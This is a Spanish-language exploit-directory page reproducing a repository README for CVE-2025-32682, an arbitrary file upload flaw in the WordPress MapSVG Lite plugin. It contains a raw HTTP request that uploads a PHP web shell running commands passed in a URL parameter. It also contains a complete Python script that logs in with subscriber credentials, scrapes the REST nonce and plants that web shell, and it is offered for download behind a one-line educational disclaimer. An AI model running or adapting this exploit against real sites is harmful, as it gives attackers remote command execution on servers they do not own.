Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32682 — El plugin MapSVG Lite de WordPress <= 8.5.34 es vulnerable a la Carga Arbitraria de Archivos. | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-32682
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubnxploited/cve-2025-32682

CVE-2025-32682

El plugin MapSVG Lite de WordPress <= 8.5.34 es vulnerable a la Carga Arbitraria de Archivos.

Ver Repositorio
11hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🐚 CVE-2025-32682 - Subida Arbitraria de Archivos en MapSVG Lite <= 8.5.34

📌 Detalles del Plugin

  • Nombre: MapSVG Lite
  • Versión Afectada: <= 8.5.34
  • Tipo de Vulnerabilidad: Subida Arbitraria de Archivos
  • ID de CVE: CVE-2025-32682
  • Fecha de Publicación: 15 de abril de 2025
  • Puntuación CVSS: 9.9 (Crítica)

💥 Resumen de la Vulnerabilidad

El plugin MapSVG Lite para WordPress no valida los tipos de archivo al subir archivos SVG a través de su endpoint de API REST:

root@kitploit:~
/wp-json/mapsvg/v1/svgfile

Esto permite que un atacante autenticado (Suscriptor+) suba archivos PHP arbitrarios disfrazados de SVG, lo que resulta en la ejecución remota de código (RCE).


📎 Prueba de Concepto (POC) - Petición HTTP Cruda

root@kitploit:~
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1 Host: 192.168.100.74:888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config X-WP-Nonce: 4febb3ff50 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807 Content-Length: 298 Origin: http://192.168.100.74:888 Connection: keep-alive Cookie: -----------------------------155355665422604566641836454807 Content-Disposition: form-data; name="file"; filename="nxploit.php" Content-Type: text/xml <!--?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?--> -----------------------------155355665422604566641836454807--

🔍 Fragmento de Código Vulnerable

El siguiente fragmento de código vulnerable del archivo mapsvg-lite-interactive-vector-maps.php resalta el problema:

root@kitploit:~
public function uploadSVG() {
    $file = $_FILES['file'];
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return new \WP_REST_Response(["file" => $upload], 200);
}
  • ❌ Sin comprobación del tipo de archivo
  • ❌ Sin validación de extensión
  • ❌ Sin saneamiento del contenido del archivo

Esta función está directamente mapeada al endpoint REST /wp-json/mapsvg/v1/svgfile.


🧠 Requisitos de Explotación

  • ✅ Requiere autenticación (Suscriptor+)
  • 🛑 Sin validación de tipo de archivo ni de contenido

🐍 POC 2 - Script de Explotación en Python

root@kitploit:~
# By: Nxploited | Khaled Alenazi
import requests
import argparse
import re

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-un", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()

login_url = f"{args.url}/wp-login.php"
resp = session.post(login_url, data={
    'log': args.username,
    'pwd': args.password,
    'rememberme': 'forever',
    'wp-submit': 'Log In'
}, headers={"User-Agent": user_agent})

if 'wordpress_logged_in' not in str(session.cookies):
    print("[-] Login failed")
    exit()
print("[+] Logged in successfully.")

nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
if not match:
    print("[-] Failed to extract nonce")
    exit()
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")

upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
print(f"[+] Uploading file to: {upload_url}")

payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
headers = {
    'X-WP-Nonce': nonce,
    'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': user_agent
}

res = session.post(upload_url, files=payload, headers=headers)

try:
    json_res = res.json()
    print("[+] Server response (formatted):")
    print("File Name    :", json_res['file']['name'])
    print("URL          :", json_res['file']['relativeUrl'])
    print("Path Short   :", json_res['file']['pathShort'])
    print("Server Path  :", json_res['file']['serverPath'])
    print("\nExploited By : Nxploited | Khaled Alenazi")
except:
    print("[-] Upload failed or invalid response.")

☠️ Impacto

La explotación de esta vulnerabilidad permite a un atacante subir una puerta trasera (web shell) .php al directorio /wp-content/uploads/mapsvg/ y ejecutar comandos arbitrarios en el servidor.


👤 Por:

Nxploited | Khaled Alenazi


⚠️ Aviso Legal

Este proyecto es solo con fines educativos. El acceso no autorizado a sistemas sin permiso es ilegal.

Descargar herramienta